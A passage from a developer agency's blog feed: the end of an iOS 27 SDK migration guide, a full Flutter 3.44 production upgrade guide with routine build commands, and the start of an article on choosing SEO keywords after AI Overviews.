AirPort Utility	No longer available for new downloads; "functionality is not guaranteed" on iOS 27	Irrelevant to most teams, listed because round-ups misreport it as an API change

The MetricKit row deserves the attention. Multiple write-ups say MXMetricManager is "deprecated" and imply you must migrate now. Apple's beta 3 notes say the original MetricKit APIs are "no longer recommended for new adoption" and point to MetricManager. Those are different statements with different urgency. Use the new API for new instrumentation. Leave working crash and metric pipelines alone until Apple actually deprecates them, because rewriting telemetry is how you lose the ability to debug the release you are shipping.

The Neural Engine restriction is the sleeper. If your app runs on-device inference from a background task, the system now throttles that access the way it throttles background GPU work. Nothing fails to compile. The behaviour just changes. Apps doing background photo classification, on-device transcription, or scheduled model work should test this before September rather than after.

Xcode 27: what it forces on your build machines

Xcode 27 beta 3 includes Swift 6.4 and the SDKs for iOS 27, iPadOS 27, tvOS 27, watchOS 27, macOS 27 and visionOS 27. Three constraints matter for a team rather than an individual:

Xcode 27 beta 3 requires a Mac running macOS Tahoe 26.4 or later. Your CI fleet needs that before your developers do.
On-device debugging supports iOS 17 and later, tvOS 17 and later, watchOS 10 and later, and visionOS. Older test devices in the drawer stop being useful for debugging.
Build targets with a minimum deployment target of macOS 27.0 or DriverKit 27.0 no longer build Universal by default. ARCHS_STANDARD drops x86_64 when MACOSX_DEPLOYMENT_TARGET or DRIVERKIT_DEPLOYMENT_TARGET is 27.0 or higher. Add x86_64 back to ARCHS explicitly if you still ship Intel Macs.

There is a known issue worth knowing before it eats a day: Address Sanitizer might fail to launch on iOS 27.0, tvOS 27.0, watchOS 27.0 and visionOS 27.0 when building with Xcode 26.4 or older. Apple's workaround is to use Xcode 26.5 or later when testing with Address Sanitizer.

The test pass to run before September

The release candidate is expected in early September, with general release around mid-September 2026. That gives most teams about eight weeks. Run this in order.

1. Answer the launch question first. Run the plutil command above on every app target you ship, including extensions and any white-label variants. This is a yes or no answer and it determines whether you have a project or a checklist.

2. Build against the iOS 27 SDK deliberately, in a branch. Do not wait for the September scramble. Cut a branch, point CI at Xcode 27, and let it fail now while failing is free.

3. Audit your cross-platform toolchain, not just your code. If you ship Expo, React Native, Flutter, or Unity, your native template is generated. Check whether your framework version emits UIApplicationSceneManifest, and track the upstream issue if it does not. This is the dependency most likely to be outside your control and on someone else's timeline.

4. Test background inference and background tasks on device. The Neural Engine restriction and scene-level backgrounding both change behaviour without changing your code. Simulators will not tell you the truth here.

5. Test the scene seams specifically. Multi-window on iPad, Stage Manager, and the app switcher. State restoration bugs from a UIScene migration surface when a second scene appears, which is exactly what your existing test suite never does.

6. Leave telemetry alone. Resist rewriting MetricKit during the same release you are migrating scenes. One structural change per release.

Workstream	Typical effort	Risk if deferred past September
UIScene migration (UIKit app, single window)	1 to 3 engineer-days	Critical. Apps built with the iOS 27 SDK fail to launch
Cross-platform template fix (Expo, RN, Unity)	Blocked on upstream, plus 0.5 day to integrate	Critical, and not on your schedule. Track it now
On Demand Resources to Background Assets	2 to 5 engineer-days	Medium. Deprecated, not removed, but the migration is real work
Neural Engine background testing	0.5 to 1 engineer-day	Medium. Silent behaviour change, no compile error
App Intents schema rename	Under 1 hour	Low, but it fails at runtime rather than at build
MetricKit migration	Do not start yet	None. It is a recommendation, not a deprecation

For a single-window UIKit app with a storyboard, the UIScene migration is closer to a day than a week. The apps that hurt are the ones with multiple windows already faked through custom window management, heavy state restoration, or an app delegate that has quietly become the place where everything lives. The real cost is not the SceneDelegate. It is finding every line that assumed one window.

India-specific considerations

Two practical notes for teams shipping from or into India.

Test-device planning is the first. Xcode 27 drops on-device debugging below iOS 17, and Apple Intelligence features are limited to capable devices. If your QA pool leans on older iPhones, the useful test matrix for iOS 27 is narrower than your support matrix, and those are two different lists. Sort out which devices actually need to be in the September rotation before the rush.

The second is the September calendar. A mid-September iOS release lands directly on the festive commerce season, and a launch-week app update that fails to start is a materially worse outcome for a retail or fintech app in India than in most markets. Freeze early. If your app handles personal data, the same release is a reasonable moment to re-check what your SDKs collect under the Digital Personal Data Protection Act, 2023, since a scene migration is already making you read the code that runs at launch. We design applications aligned with DPDP requirements.

For teams on cross-platform stacks, our Flutter 3.44 production upgrade guide covers the parallel work on that side, and the Xcode 27 and Swift 6.4 feature notes go deeper on the toolchain. The iOS 27 App Intents and Siri developer guide covers the intent surface this release expands.

FAQ

Will my existing app stop working when users update to iOS 27?

No. The scene-based life cycle requirement binds apps built with the latest SDK, not apps running on the new OS. A binary compiled against an earlier SDK keeps launching on iOS 27. The failure appears the moment you rebuild with Xcode 27 and the iOS 27 SDK, which makes this a build-time deadline.

How do I know if my app needs the UIScene migration?

Apple gives two criteria. Migrate if the UIApplicationSceneManifest key is missing from your information property list or has no configurations, or if your app delegate does not implement application(_:configurationForConnecting:options:). Run plutil -extract UIApplicationSceneManifest raw -o - Info.plist against your target. If it prints missing, you need to migrate.

Does the app delegate go away in the scene-based life cycle?

No. Your app process still launches once and UIApplicationDelegate still handles it. What moves is anything owning visible UI, because life-cycle events now happen per scene rather than globally. Keep process-level setup in didFinishLaunchingWithOptions, and move window creation and active or background handling to your scene delegate.

Is MXMetricManager deprecated in iOS 27?

Not according to Apple. The iOS 27 beta 3 notes say the original MetricKit APIs, including MXMetricManager and MXMetricManagerSubscriber, are "no longer recommended for new adoption" and point to MetricManager instead. Several round-ups report this as a deprecation. Use the new API for new code and leave working pipelines alone.

What happened to On Demand Resources?

On Demand Resources and the NSBundleResourceRequest API are deprecated in the iOS 27 SDK, and Apple directs developers to Background Assets instead. Unlike the MetricKit change, this is a real deprecation in Apple's own wording. Plan the migration, but it does not block your September release.

Does this affect Expo, React Native, Flutter or Unity apps?

Yes, through the generated native project rather than your own code. An unmodified Expo SDK 56 app built with Xcode 27 beta fails to launch because its template omits UIApplicationSceneManifest. The issue was accepted on June 8, 2026 and labelled upstream React Native work. Check your framework version and track its fix.

What does Xcode 27 require from our build machines?

Xcode 27 beta 3 requires a Mac running macOS Tahoe 26.4 or later, and it includes Swift 6.4 with the iOS 27 SDK. On-device debugging supports iOS 17 and later only. Plan the CI upgrade before developers need it, because a stale build fleet blocks the whole team at once.

How long does the UIScene migration take?

We budget one to three engineer-days for a typical single-window UIKit app, roughly $400 to $1,200 as of July 2026. Cost rises with custom window management, heavy state restoration, and app delegates that accumulated unrelated logic. The SceneDelegate is quick. Finding every line that assumed one window is not.

How eCorpIT can help

eCorpIT runs iOS SDK migrations as scoped work with a deadline attached: the UIScene audit across every target and extension, the scene migration itself, background and multi-window testing on real devices, and the cross-platform template gaps that sit upstream of your code. Our senior engineering teams have shipped iOS applications since 2021 and plan this work around your release freeze rather than Apple's keynote. If you want your app checked against the iOS 27 SDK before the September release candidate, talk to our team.

References

Transitioning to the UIKit scene-based life cycle - Apple Developer Documentation
iOS and iPadOS 27 beta 3 release notes - Apple Developer Documentation
Xcode 27 beta 3 release notes - Apple Developer Documentation
Expo prebuild template fails to launch because UIScene lifecycle is required (issue 46664) - expo/expo
Explore UIScene lifecycle requirements in iOS 27 (issue 71) - flutter_embed_unity
iOS 27 public beta release date - 9to5Mac
iOS 27 public beta is coming soon - MacRumors
Apple iOS 27 release date: how to download the first iPhone public beta - Forbes
OS 27 betas for all and everything else coming from Apple this month - Macworld
iOS 27 - Wikipedia
Things to prepare for breaking changes in iOS 27 and Xcode 27 - DevelopersIO
UIKit's scene mandate: what fails to launch on iOS 27 - Blake Crosley
Digital Personal Data Protection Act, 2023 - Ministry of Electronics and Information Technology, Government of India
Digital Personal Data Protection Act, 2023 (No. 22 of 2023), official text - India Code

Last updated: July 16, 2026.

Flutter 3.44 in production: the upgrade plan for teams shipping real apps

Manu Shukla — Wed, 15 Jul 2026 18:56:47 +0000

Flutter 3.44 in production: the upgrade plan for teams shipping real apps

Summary. Flutter 3.44 reached stable in May 2026 alongside Dart 3.12, and the current patch is 3.44.6, released on July 8, 2026. Three changes decide how expensive your upgrade is. Swift Package Manager replaced CocoaPods as the default dependency manager for iOS and macOS. Contributions to the Material and Cupertino libraries were frozen on April 7, 2026, one release cycle ahead of their move to standalone packages. Android gained Android Gradle Plugin 9 support with built-in Kotlin, and IconData is now final. The CocoaPods registry becomes read-only on December 2, 2026, which makes the iOS half of this a deadline rather than a preference. For a mid-size app with 25 to 40 plugins, we budget two to four senior engineer-days, roughly $600 to $1,600 (about ₹50,000 to ₹1,40,000) at July 2026 rates. The upgrade itself is rarely the hard part. The plugins you do not control are.

Most of the coverage of this release has focused on what is new. That is the wrong question for a team with an app in the stores. The useful question is narrower: what breaks, what has a deadline attached, and what can safely wait until 3.47. This guide answers those three, in the order we run them on client projects.

What actually changed, and what it costs you

Change in 3.44	Who it affects	Action this quarter
SwiftPM is the default dependency manager	Every iOS and macOS app	Upgrade, let the CLI migrate, audit plugins that lack SwiftPM support
Material and Cupertino contributions frozen (April 7, 2026)	Every app using `material.dart`	Nothing to import yet. Stop forking these libraries and remove deep imports
AGP 9 support and built-in Kotlin	Android apps and plugin authors	Drop the manual Kotlin Gradle plugin block once you move to AGP 9
`IconData` marked `final` and `@mustBeConst`	Packages that extend or implement `IconData`	Replace subclassing with composition before you upgrade
Hybrid Composition++ (HCPP), opt-in	Android apps embedding native views	Test behind the flag on API 34+ devices. Do not ship it by default
`onReorder` deprecated in `ReorderableListView`	Apps with reorderable lists	Move to `onReorderItem` and delete the index-adjustment workaround
`findChildIndexCallback` deprecated	`ListView.separated`, `SliverList.separated` users	Rename to `findItemIndexCallback`

Two rows on that table have real deadlines. The rest are housekeeping you can schedule.

Swift Package Manager is now the default on iOS and macOS

This is the change that will consume your week. As of 3.44, Flutter uses Swift Package Manager to manage iOS and macOS native dependencies by default. CocoaPods continues in maintenance mode, but the registry becomes read-only on December 2, 2026. After that date no new pods or versions land in the trunk. Existing builds keep working. Nothing new arrives.

The migration is mostly automatic. When you build or run an iOS or macOS app on 3.44, the Flutter CLI updates the Xcode project to add SwiftPM integration. You lose the Podfile, the pod install step, and the Ruby toolchain that CI has been quietly maintaining for years.

The failure mode is plugins. Not every plugin has published SwiftPM support, and Flutter falls back to CocoaPods for the ones that have not. That fallback works, so the upgrade will look clean, and you will not discover the gap until the December deadline gets closer. Audit it deliberately instead:

flutter upgrade
flutter clean
cd ios && rm -rf Pods Podfile.lock && cd ..
flutter build ios --config-only

Read the build output. Flutter warns about dependencies without SwiftPM support and names them. File an issue against each plugin, and record the list somewhere your team will see it again in October.

If SwiftPM breaks a build you need to ship today, turn it off for the project rather than for yourself:

# pubspec.yaml
flutter:
  config:
    enable-swift-package-manager: false

That setting applies to everyone working on the project, which is the behaviour you want in a team. The per-user escape hatch is flutter config --no-enable-swift-package-manager, and it will bite you when CI does not share the setting. The Flutter documentation is blunt about the whole idea: "In general, don't do this. Remember that the CocoaPods registry becomes read-only on December 2, 2026 and disabling SwiftPM won't be allowed in the future."

If you previously disabled SwiftPM on an earlier version, re-enable it with flutter config --enable-swift-package-manager before you start, or the migration will silently skip your project.

One more detail worth knowing before it costs you an afternoon: SwiftPM and CocoaPods can conflict when a plugin ships both. Flutter 3.44 added a guided error message for that case, so read the error rather than deleting Pods/ in a loop.

The Material and Cupertino freeze, and what it does not mean yet

On April 7, 2026, the Flutter team froze contributions to the Material and Cupertino libraries in flutter/flutter. The tracking issue states the scope plainly: contributions "will be frozen as part of decoupling beginning at the next stable release cutoff on April 7th." The libraries are moving out of the SDK into standalone material_ui and cupertino_ui packages with independent versioning, closing out a long-standing request in the decoupling tracking issue.

The reason for freezing early is mechanical. Justin McCandless, a software engineer on the Flutter team at Google, explained the sequencing in the official announcement: "We can achieve this by freezing the code one stable release cycle ahead and copying that frozen code to the new packages." Freeze first, copy the frozen code, then release the packages. That keeps the eventual migration close to a find-and-replace instead of a rewrite.

Here is the part several write-ups have wrong. As of July 2026, material_ui on pub.dev is a reserved placeholder described as "coming soon", not a shipping 1.0.0 package. Flutter 3.44 does not deprecate package:flutter/material.dart, and it does not emit a warning when you import it. Your existing imports are correct, supported, and should stay exactly as they are. If a blog post tells you to swap your imports to package:material_ui/material_ui.dart today, it is describing a future you cannot install yet.

What you should do now is cheaper than a migration and pays off either way:

Stop forking Material or Cupertino. A fork you carry across the package split is the one thing that turns a mechanical migration into a project.
Remove incidental material.dart imports from files that only need widgets.dart. Material exports the widgets library, so it is easy to depend on Material by accident. Those accidental imports are what make the split feel expensive later.
Keep a list of the Material widgets you have subclassed rather than composed. Subclasses are where breaking changes land.

We cover the package split and the migration mechanics in more depth in our guide to the Material UI and Cupertino UI package migration. For this release, the correct action is to do nothing and stop making it worse.

Android: AGP 9, built-in Kotlin, and one real breaking change

Flutter 3.44 adds support for Android Gradle Plugin 9 and moves Android projects toward built-in Kotlin configuration. Before AGP 9, app and plugin authors had to add the Kotlin Gradle plugin to their build files manually so the build system could compile Kotlin at all. As of AGP 9.0, the Android build system handles Kotlin natively, and that boilerplate goes away.

The breaking change that will actually fail your build is quieter. IconData is now marked final and @mustBeConst. Any package that extends or implements IconData stops compiling. Icon-font packages are the usual offender, because subclassing IconData was a common way to attach a custom font family. The fix is composition or a constant factory, not a subclass. Check your dependency tree before you upgrade rather than after:

grep -rn "extends IconData\|implements IconData" ~/.pub-cache/hosted/pub.dev/ | head

The @mustBeConst annotation is the second half of that change, and it is deliberate. IconData fields are marked as tree-shaking entrypoints, and const construction is what lets the toolchain drop unused icons from your font. Code that builds IconData at runtime from a variable will now be rejected at compile time, which is a real constraint if you drive icons from a CMS or a remote config. Map the remote value to a const lookup table instead.

Hybrid Composition++, and why we are not shipping it yet

HCPP is the most interesting thing in 3.44 and the one we are slowest to recommend. It is opt-in, and it should stay that way in your app for at least one more release.

The mechanism is genuine engineering rather than a marketing line. Instead of round-tripping native views through offscreen buffers, HCPP delegates layer compositing to the Android OS through Vulkan, using hardware buffer swapchains and SurfaceControl transactions to synchronise the Flutter UI with native Android views. The Flutter team's own description of the result is specific: high-performance scrolling, accurate touch, and reliable SurfaceView support. If you have ever embedded a map or a video player and watched the scroll fall apart or a tap land 40 pixels off, that is the class of bug this targets.

The constraints matter more than the benefits right now:

HCPP requires Android API 34 or later, because it depends on native transaction synchronisation.
The device must be able to render with Vulkan.
It is enabled with the --enable-hcpp flag or a meta-data entry in AndroidManifest.xml, not by default.

flutter run --enable-hcpp

Read those requirements against your actual install base, not against the newest device on your desk. An Android app in India that still supports API 26 will run the old path for most of its users, which means HCPP gives you a second rendering path to test rather than a faster app. Enable it in a build flavour, measure it on the screens where you embed native views, and keep it behind the flag until your API 34+ share justifies owning both paths.

The honest read: HCPP is the right destination and a poor Tuesday afternoon decision. It is also the strongest argument in this release for keeping your minSdkVersion conversation on the roadmap, since the payoff arrives when your floor reaches API 34.

The deprecations to clear now, while they are still warnings

Deprecated API	Replacement	Where it bites
`onReorder` in `ReorderableListView`	`onReorderItem`	The new callback reports a `newIndex` that already accounts for the removed item, so delete your manual `if (newIndex > oldIndex) newIndex--` fix
`findChildIndexCallback`	`findItemIndexCallback`	`ListView.separated` and `SliverList.separated`; a rename, but it is silent until you read the analyzer output
`builder` and `pageBuilder` in `showCupertinoSheet` and `CupertinoSheetRoute`	`scrollableBuilder`	Scrollable content inside a sheet; the new builder integrates with the sheet's drag animation
`--web-hot-reload` flag	No flag needed	CI scripts and IDE run configurations, which is where stale flags hide
`plugin_ffi` template	`plugin` template with FFI support	New plugin scaffolding only; existing plugins are unaffected

The onReorder change is the one worth doing by hand rather than with a rename. Almost every codebase has the index-adjustment workaround written into the callback, and onReorderItem makes it wrong rather than unnecessary. Delete the workaround when you migrate the callback, or your list will reorder to the wrong slot in exactly the cases your tests do not cover.

The RawMenuAnchor callback ordering also changed in this release. If you built a custom menu on top of it, your callbacks now fire in a different order. That is a small blast radius and a genuinely confusing debugging session if you do not know it happened.

The staged upgrade plan we actually run

Six steps, in this order. The order is the point: every step after the first is cheaper once the one before it is clean.

1. Upgrade the floor, not the app. Move to 3.44.6 rather than 3.44.0. The 3.44 series has taken six patches since May, and 3.44.6 shipped on July 8, 2026 with no Dart version change, so the cherry-picks are stability fixes rather than new surface area.

flutter upgrade
flutter --version   # expect 3.44.6

2. Audit before you build. Grep for IconData subclasses and onReorder usage, and list plugins without SwiftPM support. This is 30 minutes that decides whether step 4 takes an hour or two days.

3. Take the analyzer seriously for one afternoon. Run dart analyze and fix every deprecation warning in the table above while they are still warnings. Deprecated APIs get removed, and the cost of clearing them never goes down.

4. Let the iOS migration happen, then verify it. Build with --config-only, read the plugin warnings, and commit the Xcode project changes deliberately in their own commit. A reviewer can understand a SwiftPM migration commit. Nobody can review it mixed into a feature branch.

5. Test the platform seams, not the widgets. Your widget tests will pass. The risk in this release sits at the native boundary: plugins, platform views, icon fonts, and reorderable lists. Test those on real devices.

6. Ship the SDK bump on its own. No feature work in the upgrade release. When something regresses in production two days later, you want a one-line revert rather than an argument about which change caused it.

Workstream	Typical effort (mid-size app)	Risk if deferred to 2027
SwiftPM migration and plugin audit	1 to 2 engineer-days	High. The CocoaPods registry is read-only from December 2, 2026, and unmigrated plugins stop receiving fixes
Deprecation cleanup (`onReorder`, `findChildIndexCallback`, Cupertino sheets)	0.5 to 1 engineer-day	Medium. Warnings become removals in a later release, and the work grows with the codebase
`IconData` and icon-font fixes	0.5 to 1 engineer-day	High. This is a hard compile failure, not a warning
Material and Cupertino hygiene (de-fork, fix stray imports)	1 to 2 engineer-days	Medium. The package split is coming and forks are what make it expensive
HCPP evaluation	0.5 engineer-day, then park it	Low. It is opt-in and your API 34+ share decides the timing

Our estimate for the whole exercise is two to four senior engineer-days for an app with 25 to 40 plugins, and most of the variance is in that first row. Teams with a heavy native surface (maps, video, payments SDKs, custom icon fonts) should plan for the top of the range. The real cost is usually the plugins you do not control, not the code you wrote.

India-specific considerations

Two things change the calculation for teams shipping from or into India.

The first is device mix. HCPP requires Android API 34 or later and a Vulkan-capable device. If your app supports the mid-range and older Android install base that most consumer products in India still serve, HCPP will not reach a meaningful share of your users this year. Treat it as a 2027 line item and spend the time on the SwiftPM audit instead, which has an actual deadline.

The second is process, not code. If your app handles personal data, an SDK upgrade is a good moment to re-check what your plugins send off-device, because the Digital Personal Data Protection Act, 2023 turns third-party SDK behaviour into your obligation rather than the vendor's. A plugin audit for SwiftPM support and a plugin audit for data flows read the same dependency list. Doing them in one pass is close to free, and it is the only time this quarter your team will willingly look at all 40 plugins. We design applications aligned with DPDP requirements, and the plugin inventory is where that work starts.

For teams weighing the framework decision itself rather than the upgrade, our React Native versus Flutter hiring decision framework covers the staffing side, and the Dart 3.12 language changes that ship with this release cut real boilerplate once you are on 3.44. The Impeller rendering changes are worth reading alongside the HCPP section, since both decide what your Android frame budget looks like.

What we would not do this quarter

Three things in this release look urgent and are not.

Do not migrate imports to material_ui. The package is not released. There is nothing to migrate to, and the deprecation warning that several posts describe does not exist in 3.44.

Do not enable HCPP by default. It is opt-in for a reason, it needs API 34 and Vulkan, and shipping it broadly means owning two rendering paths through the next release cycle.

Do not disable SwiftPM to make the upgrade quiet. It works, and it will keep working right up to December 2, 2026, at which point it becomes someone's emergency. Take the two days now.

FAQ

Is Flutter 3.44 safe to use in production?

Yes. Flutter 3.44 reached stable in May 2026 and has since taken six patch releases, with 3.44.6 shipping on July 8, 2026 and requiring no Dart version change. Move to the latest patch rather than 3.44.0, test the native boundary on real devices, and ship the SDK bump without feature work attached.

Do I need to change my Material imports in Flutter 3.44?

No. Contributions to Material and Cupertino were frozen on April 7, 2026, but the libraries still ship inside the SDK. The material_ui package on pub.dev is a placeholder marked "coming soon", and 3.44 emits no deprecation warning on package:flutter/material.dart. Keep your imports exactly as they are.

What happens if I ignore the SwiftPM migration?

Your builds keep working, because Flutter falls back to CocoaPods for plugins that lack SwiftPM support. The problem arrives on December 2, 2026, when the CocoaPods registry becomes read-only and no new pods or versions land in the trunk. Existing builds survive. New fixes do not reach you.

How do I turn off Swift Package Manager if it breaks my build?

Set enable-swift-package-manager to false under the config subsection of the flutter section in pubspec.yaml. That applies to every contributor on the project, which is what you want. The per-user command flutter config --no-enable-swift-package-manager will not be shared with your CI environment.

Why does my icon font package fail to compile on 3.44?

Flutter 3.44 marked IconData as final and @mustBeConst, so packages that extend or implement it no longer compile. The fields are tree-shaking entrypoints, and const construction is what lets unused icons be dropped from the font. Replace subclassing with composition, and map any runtime icon values to a const lookup table.

Should I enable Hybrid Composition++ in my Android app?

Not by default yet. HCPP delegates layer compositing to the Android OS through Vulkan and improves scrolling and touch accuracy around embedded native views, but it requires Android API 34 or later and a Vulkan-capable device. Test it behind the --enable-hcpp flag on the screens that embed native views.

What is the actual breaking change in ReorderableListView?

The onReorder callback is deprecated in favour of onReorderItem, which reports a newIndex that already accounts for the item being removed before reinsertion. If you migrate the callback but keep the usual manual index adjustment, your list will reorder to the wrong position. Delete the workaround when you change the callback.

How long does a Flutter 3.44 upgrade take?

We budget two to four senior engineer-days for a mid-size app carrying 25 to 40 plugins, at roughly $600 to $1,600 as of July 2026. Most of the variance sits in the SwiftPM plugin audit. Apps with a heavy native surface such as maps, video, or payments SDKs should plan for the upper end.

How eCorpIT can help

eCorpIT runs Flutter upgrades as a scoped piece of work rather than a background task that never finishes: a dependency and plugin audit, the SwiftPM migration with the plugin gaps documented, deprecation cleanup, and device testing across the native boundary where these releases actually break. Our senior engineering teams have been shipping Flutter applications since 2021, and we plan upgrades around your release calendar instead of Google's. If you want the 3.44 upgrade costed against your own plugin list before the December 2, 2026 CocoaPods deadline, talk to our team.

References

Flutter 3.44.0 release notes - Flutter documentation
Swift Package Manager for app developers - Flutter documentation
Swift Package Manager for plugin authors - Flutter documentation
CocoaPods Specs repository becomes read-only - CocoaPods blog
Saying goodbye to CocoaPods: Swift Package Manager is soon the default in Flutter - Jenn Magder, Flutter blog
Flutter's Material and Cupertino code freeze - Justin McCandless, Flutter blog
Freeze Material and Cupertino during decoupling (issue 184093) - flutter/flutter
Move the material and cupertino packages outside of Flutter (issue 101479) - flutter/flutter
Flutter Release Version 3.44.6 (issue 189142) - flutter/flutter
What's new in Flutter 3.44 - Flutter blog
Breaking changes and migration guides - Flutter documentation
Hosting native Android views with platform views - Flutter documentation
material_ui package - pub.dev
Announcing Dart 3.12 - Dart blog
Mark IconData final and mustBeConst (PR 181345) - flutter/flutter
Deprecate onReorder callback (PR 178242) - flutter/flutter
Add a CLI flag for toggling HCPP use (PR 182516) - flutter/flutter
Digital Personal Data Protection Act, 2023 - Ministry of Electronics and Information Technology, Government of India
Digital Personal Data Protection Act, 2023 (No. 22 of 2023), official text - India Code

Last updated: July 16, 2026.

Keyword selection after AI Overviews: a 2026 framework for queries that still send clicks

Manu Shukla — Wed, 15 Jul 2026 18:43:44 +0000

Keyword selection after AI Overviews: a 2026 framework for queries that still send clicks

Summary. Between 16 April and 15 July 2026, twelve answer-shaped queries earned this site 307,668 impressions and 909 clicks. That is a blended clickthrough rate of 0.295%. Over the same 90 days, three queries that were not answer-shaped earned 378 impressions and 22 clicks, a 5.82% CTR, roughly 20 times better on a fraction of the volume. One query ranked at average position 2.77 and converted 0.149% of its impressions, while another sitting worse at position 4.23 converted 16.07%. The position was not the variable. The shape of the question was. This matches the largest public study available: Ahrefs analysed 300,000 keywords and found that as of December 2025 the presence of an AI Overview correlates with a 58% lower CTR for the top-ranking page, up from 34.5% in their April 2025 study. Ranking first on a question Google answers itself is not a win. It is 168,145 impressions and 348 clicks, which is what "ios 27 release date" paid us. This article gives the scoring framework we now run every topic through before we write a word.

The uncomfortable part is that the failing keywords look like wins in every dashboard. High volume, good position, terrible economics.

The number that should end the position-one conversation

Ahrefs re-ran their AI Overview study using December 2025 data, comparing 150,000 keywords with an AI Overview present against 150,000 informational keywords without one, measured against a December 2023 baseline from before the rollout.

The findings are specific. In December 2023, average position-one CTR for informational keywords was 0.076. By December 2025 it had fallen to 0.039. For the keywords that now trigger an AI Overview, position-one CTR went from 0.073 to 0.016. Correcting for the general decline, the AI Overview itself accounts for roughly a 58% reduction.

Ryan Law, Director of Content Marketing at Ahrefs, put the arithmetic in a sentence:

"For every 100 clicks you could historically earn for a top-ranking page, Google now 'keeps' 58."
Ryan Law, Director of Content Marketing, Ahrefs

The per-position table from that study is the part most people miss, and it changes the strategy:

Position in search results	CTR impact when an AI Overview is present
1	-58.0%
2	-50.8%
3	-46.4%
4	-38.8%
5	-32.6%
6	-30.5%
7	-29.7%
8	-28.8%
9	-29.7%
10	-19.4%

Read that column downward. The damage is worst at position one and mildest at position ten. Climbing the rankings on an AI Overview query moves you into the zone where the AI Overview hurts most. You are not competing for the click. You are competing for what is left after the answer panel has taken it, and the better you rank, the larger the share it takes.

Ahrefs also found around 9% of AI Overviews appear outside position one, and their conclusion was blunt: AI Overviews "siphon away the majority of the clicks once available to top-ranking pages."

Corroboration is broad. Ahrefs cite Seer Interactive at 49.4% to 65.2%, Kevin Indig at over 50%, Authoritas at 47.5%, and the Daily Mail reporting 80% to 90% lower CTR. The range is wide. The direction is not in dispute.

What our own Search Console data shows

Public studies are averages across other people's sites. Here is what it looks like on one small site with a dominant topic cluster.

This is eCorpIT's Google Search Console data for 16 April to 15 July 2026. Our CTR by average position across the site:

Average position	Site CTR	Keywords at this position
1	28.44%	38
2	16.63%	37
3	10.82%	47
4	3.94%	79
5	3.56%	104
6	2.96%	128
7	1.14%	183
8	1.67%	148
9	2.90%	89
10	1.50%	62

That curve looks normal. Position one earns 28.44%, and there is a cliff between position 3 at 10.82% and position 4 at 3.94%, a 64% drop across a single rank.

Now put individual queries against that curve, and the picture breaks.

Query	Avg position	Impressions	Clicks	CTR	Site average at that position
ios 27	2.77	9,385	14	0.149%	10.82% at position 3
ios 27 release date 2026	4.60	7,163	6	0.084%	3.94% at position 4
ios 27 release date	8.44	168,145	348	0.207%	1.67% at position 8
when is ios 27 coming out	8.86	31,168	29	0.093%	2.90% at position 9
nextjs typescript 7	4.23	56	9	16.07%	3.94% at position 4

The comparison to sit with is the first row against the last. "ios 27" ranks at position 2.77 and converts 0.149% of impressions. "nextjs typescript 7" ranks worse, at position 4.23, and converts 16.07%. That is 108 times the CTR from a lower position.

In absolute terms it is starker. Fifty-six impressions produced nine clicks. Nine thousand three hundred and eighty-five impressions produced fourteen.

"ios 27" at position 2.77 runs about 73 times below our own site average for position 3. "ios 27 release date 2026" at position 4.60 runs about 47 times below our position-4 average. These are not ranking failures. Google is showing our page high up and answering the question above it.

The honest caveats

This is one site, and the sample is dominated by a single iOS 27 cluster, so the answer-shaped cohort is really one topic measured many ways. The non-answer-shaped cohort is small: 378 impressions across three queries, which is enough to be suggestive and not enough to be conclusive on its own. The site-average CTR figures above position 10 rest on tiny keyword counts and are noisy, which is why we have not used them.

What makes it worth publishing is that it points the same direction as a 300,000-keyword study, from the opposite end of the scale. The framework below is what we do about it.

Answer-shaped versus click-shaped

The distinction that predicts CTR is not head versus long tail, informational versus commercial, or volume versus difficulty. It is whether the query has a terminal answer.

A query is answer-shaped when a correct, complete response fits in a paragraph and nothing follows it. "ios 27 release date" is answer-shaped. The answer is a date. Once you have the date, there is nothing left to want. Any AI Overview that names the date has fully served the user, and your page is decoration below it.

A query is click-shaped when a correct response opens more questions than it closes, or when the value is in artefacts a summary cannot carry: a config file, a benchmark table, a decision under constraints, a number specific to the reader's situation.

Signal	Answer-shaped (avoid)	Click-shaped (target)
Query form	"release date", "what is X", "is X out yet", "when does X"	"X vs Y for Z", "how to do X with Y", "X cost breakdown", "why does X fail when Y"
Complete answer length	One sentence or one number	Multiple sections, tables or code
What the reader does next	Nothing, they have the fact	Applies it, compares, configures, budgets
AI Overview risk	Total, the panel is the product	Partial, the panel becomes a teaser
Our observed CTR	0.295% blended across 12 queries	5.82% blended across 3 queries
Volume	Usually high	Usually low
Value per impression	Near zero	High

The trap is that answer-shaped queries have the volume. "ios 27 release date" has 168,145 impressions in 90 days. "nextjs typescript 7" has 56. Every keyword tool will rank the first one higher on every metric except the only one that pays.

The click-survivability score

We score every candidate topic out of 10 before it enters the queue. Six questions, weighted by how well each predicted CTR in our own data.

Does a complete answer fit in one paragraph? If yes, score 0 on this dimension. If it needs sections, tables or code, score 3.
Can we produce something the panel cannot summarise? Original benchmarks, first-party data, a working config, a real price. Score 0 to 3.
Does answering it well require judgement under constraints? "Which should I use" beats "what is". Score 0 to 2.
Is the reader mid-task rather than mid-curiosity? Someone with a terminal open clicks. Someone idly wondering does not. Score 0 to 2.
Would a wrong answer cost the reader money or a rollback? Stakes drive verification, and verification drives clicks. Score 0 to 2.
Penalty: is the query a known AI Overview trigger shape? Subtract 2 for date, definition, yes/no or single-fact queries.

Anything scoring 6 or above gets written. Below 6, it does not, regardless of volume.

Applied to real candidates:

Candidate query	Q1	Q2	Q3	Q4	Q5	Penalty	Score	Verdict
ios 27 release date	0	0	0	0	0	-2	-2	Never
what is an AI Overview	0	1	0	0	0	-2	-1	Never
UCP vs ACP vs AP2 for merchants	3	3	2	2	2	0	12	Write
DPDP compliance cost for a startup	3	2	2	2	2	0	11	Write
ios 27 MDM migration for fleets	3	2	2	2	2	0	11	Write
is ios 27 out yet	0	0	0	0	0	-2	-2	Never

The scoring is deliberately harsh on question 1. In our data, one-paragraph-answerable queries never cleared 0.3% CTR regardless of position.

What to do with the answer-shaped rankings you already have

Most sites are not starting clean. We rank well on a cluster of queries that pay us almost nothing, which is an asset with the wrong monetisation, not a liability.

Three options, in descending order of how often they work.

Consolidate and re-point. If you have five pages competing on variants of one date query, you have five pages splitting a 0.2% CTR. Merge them into one timeline page and use it to link into the click-shaped work. The date query becomes a distribution channel for the article that actually earns, not a destination. Our GEO fixes for ranking first without clicks covers the consolidation mechanics.

Re-shape the page, not the keyword. You cannot make "ios 27 release date" click-shaped. You can make the page that ranks for it answer a second question the panel will not: what breaks in your MDM fleet on upgrade day. The query stays answer-shaped. The page stops being.

